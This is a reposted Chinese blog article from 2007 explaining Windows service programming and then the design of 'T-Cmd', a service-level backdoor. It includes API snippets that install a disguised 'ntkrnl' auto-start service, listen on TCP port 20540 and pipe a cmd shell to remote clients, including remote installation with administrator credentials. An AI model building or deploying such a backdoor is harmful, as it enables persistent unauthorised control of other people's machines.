旅途

如果想飞得高,就该把地平线忘掉

浅析Win2K/XP服务与后门技术-2 [转]

三、Windows服务与编程 

  Windows服务编程包括几方面的内容,下面我们将从服务控制程序,服务程序和服务配置程序的角度介绍服务编程相关的内容。 

  1.服务控制程序 

  执行服务控制程序的相关函数前,我们需要获得一个服务对象的句柄,方式有两种:由OpenSCManager来获得一台特定主机的服务控制管理器数据库的句柄;使用OpenService或CreateService函数来获得某个服务对象的句柄。 

启动服务:要启动一个服务,服务控制程序可以使用StartService来实现。如果服务控制管理器数据库被锁定,那需要等待一定的时间然后再次测试 StartService函数。当然也可以使用QueryServiceLockStatus函数来确认数据库的当前状态。在启动成功完成时,那么 dwCurrentState参数将会返回SERVICE_RUNNING值。 

  服务控制请求:服务控制程序使用 ControlService函数来发送控制请求到正在运行的服务程序。它会向控制句柄函数发送一个特定的控制命令,可以是系统默认的,也可以是用户自定 义的。而且每个服务都会确定自己将会接收的控制命令列表。使用QueryServiceStatus函数时,在返回的 dwControlsAccepted参数中表明服务程序将会接收的控制命令。所有的服务都会接受 SERVICE_CONTROL_INTERROGATE命令。 

  2.服务程序 

  一个服务程序内可以包含一个服务或多个服务的执行代码,但是它们都拥有固定的三个部分:服务main函数,服务ServiceMain函数和服务Control Handler函数。 

服务main函数:服务程序通常是以控制台的方式存在的,所以它们的入口点都是main函数。在服务控制管理器开始一个服务程序时,会等待 StartServiceCtrlDispatcher函数的执行。如果服务类型是SERVICE_WIN32_OWN_PROCESS就会立即调用 StartServiceCtrlDispatcher函数的执行;如果服务类型是SERVICE_WIN32_SHARE_PROCESS,通常在初始 化所有服务之后再调用它。StartServiceCtrlDispatcher函数的参数就是一个SERVICE_TABLE_ENTRY结构,它包含 了进程内所有服务的名称和服务入口点。 

  服务ServiceMain函数:函数ServiceMain是服务的入口点。在服务控制程 序请求一个新的服务启动时,服务控制管理器启动一个服务,并发送一个开始请求到控制调度程序,而后控制调度程序创建一个新线程来执行 ServiceMain函数。ServiceMain须执行以下的任务:调用RegisterServiceCtrlHandler函数注册一个 HandlerEx函数来向服务发送控制请求信息,返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调用 SetServiceStatus函数设置服务状态为SERVICE_RUNNING。最后,就是执行服务所要完成的任务。 

  服务 Control Handler函数:每个服务都有一个控制句柄HandlerEx函数。它会在服务进程从服务控制程序接收到一个控制请求时被控制调度程 序所调用。无论何时在HandlerEx函数被调用时,都要调用SetServiceStatus函数向服务控制管理器报告它当前的状态。在用户关闭系统 时,所有的控制句柄都会调用带有SERVICE_ACCEPT_SHUTDOW控制代码的SetServiceStatus函数来接收 NSERVICE_CONTROL_SHUTDOWN控制代码。 

  3.服务配置程序 

  服务配置程序可以更改或查询服务的当前配置信息。在调用服务配置函数之前,必须获得一个服务对象的句柄,当然我们可以通过调用OpenSCManager,OpenService或CreateService函数来获得。 

  创建,删除服务:服务配置程序使用CreateService函数在服务控制管理器的数据库中安装一个新服务,它会提供服务的名称和相关的配置信息并存储在数据库中。服务配置程序则使用DeleteService函数从数据库中删除一个已经安装的服务。 

  四、服务级后门技术 

在你进入某个系统后,往往会为自己留下一个或多个后门,以便今后的访问。在上传一个后门程序到远程系统上后系统重启之时,总是希望后门仍然存在。那么, 将后门程序创建成服务程序应该是个不错的想法,这就是利用了服务程序自动运行的机制,当然在Windows2000的任务管理器里也很难结束一个服务程序 的进程。 

  创建一个后门,它常常会在一个端口监听,以方便我们使用TCP/UDP协议与远程主机建立连接,所以我们首先需要在后门程序里创建一个监听的端口,为了数据传输的稳定与安全,我们可以使用TCP协议。 

那么,我们如何才能模拟一个Telnet服务似的后门呢?我想大家都清楚,如果在远程主机上有一个Cmd是我们可以控制的,也就是我们可以在这个Cmd 里执行命令,那么就可以实现对远程主机的控制了,至少可以执行各种常规的系统命令。启动一个Cmd程序的方法很多,有WinExec, ShellExecute,CreateProcess等,但只能使用CreateProcess,因为WinExec和ShellExecute它们实 在太简单了。在使用CreateProcess时,要用到它的重定向标准输入/输出的选项功能,把在本地主机的输入重定向输入到远程主机的Cmd进程,并 且把远程主机Cmd进程的标准输出重定向到本地主机的标准输出。这就需要在后门程序里使用CreatePipe创建两个管道来实现进程间的数据通信 (Inter-Process Communication,IPC)。当然,还必须将远程主机上Cmd的标准输入和输出在本地主机之间进行传送,我们选 择TCP协议的send和recv函数。在客户结束访问后,还要调用TerminateProcess来结束创建的Cmd进程。 

  五、关键函数分析 

  本文相关程序T-Cmd v1.0是一个服务级的后门程序,适用平台为Windows2000/XP。它可自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行,监听端口20540/tcp。 

  1.自定义数据结构与函数 

typedef struct 

HANDLE hPipe; 
//为实现进程间通信而使用的管道; 
SOCKET sClient; 
//与客户端进行通信时的客户端套接字; 
}SESSIONDATA,*PSESSIONDATA; 
//重定向Cmd标准输入/输出时使用的数据结构; 

typedef struct PROCESSDATA 

HANDLE hProcess; 
//创建Cmd进程时获得的进程句柄; 
DWORD dwProcessId; 
//创建Cmd进程时获得的进程标识符; 
struct PROCESSDATA *next; 
//指向下一个数据结构的指针; 
}PROCESSDATA,*PPROCESSDATA; 
//在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构; 

void WINAPI CmdStart(DWORD,LPTSTR *); 
//服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程; 
void WINAPI CmdControl(DWORD); 
//服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程; 
DWORD WINAPI CmdService(LPVOID); 
//服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程; 
DWORD WINAPI CmdShell(LPVOID); 
//创建管道与Cmd进程,及Cmd的输入/输出线程; 
DWORD WINAPI ReadShell(LPVOID); 
//重定向Cmd的输出,读取信息后发送到客户端; 
DWORD WINAPI WriteShell(LPVOID); 
//重定向Cmd的输入,接收客户端的信息输入到Cmd进程; 
BOOL ConnectRemote(BOOL,char *,char *,char *); 
//如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替; 
void InstallCmdService(char *); 
//复制传送文件,打开服务控制管理器,创建或打开服务程序; 
void RemoveCmdService(char *); 
//删除文件,停止服务后,卸载服务程序;  


  2.服务程序相关函数 

SERVICE_TABLE_ENTRY DispatchTable[] = 

{"ntkrnl",CmdStart}, 
//服务程序的名称和入口点; 
{NULL ,NULL } 
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束; 
}; 
StartServiceCtrlDispatcher(DispatchTable); 
//连接服务控制管理器,开始控制调度程序线程; 
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl); 
//注册CmdControl函数为“HandlerEx”函数,并初始化; 
ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
SetServiceStatus(ServiceStatusHandle,&ServiceStatus); 
//设置服务的当前状态为SERVICE_RUNNING; 
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); 
//创建服务主线程,实现后门功能; 
WaitForSingleObject(hMutex,INFINITE); 
//等待互斥量,控制全局变量的同步使用; 
TerminateProcess(lpProcessDataHead->hProcess,1); 
//终止创建的Cmd进程; 
hSearch=FindFirstFile(lpImagePath,&FileData); 
//查找系统目录下服务程序的文件是否已经存在; 
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); 
//获得当前进程的程序文件名; 
CopyFile(lpCurrentPath,lpImagePath,FALSE); 
//复制文件到系统目录下; 
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); 
//打开服务控制管理器数据库; 
CreateService(schSCManager,"ntkrnl","ntkrnl",
 SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,
 "ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); 
//创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等; 
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START); 
//如果服务已经创建,则打开服务; 
StartService(schService,0,NULL); 
//启动服务进程; 
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus); 
//控制服务状态; 
DeleteService(schService); 
//卸载服务程序; 
DeleteFile(lpImagePath); 
//删除文件;  


  3.后门程序相关函数 

hMutex=CreateMutex(NULL,FALSE,NULL); 
//创建互斥量; 
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); 
//创建处理客户端访问的重定向输入输出线程; 
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0); 
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0); 
//创建用于进程间通信的输入/输出管道; 
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo); 
//创建经重定向输入输出的Cmd进程; 
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId); 
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId); 
//创建处理Cmd输入输出的线程; 
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); 
//等待线程或进程的结束; 
ReleaseMutex(hMutex); 
//释放互斥量; 
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL); 
//从管道中复制数据到缓冲区中,但不从管道中移出; 
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); 
//从管道中复制数据到缓冲区中; 
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL); 
//向管道中写入从客户端接收到的数据; 
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE); 
//与远程主机建立连接; 
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); 
//与远程主机结束连接;  


posted on 2007-07-21 17:06 旅途 阅读(281) 评论(0)  编辑 收藏 引用 所属分类: 深入windows


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理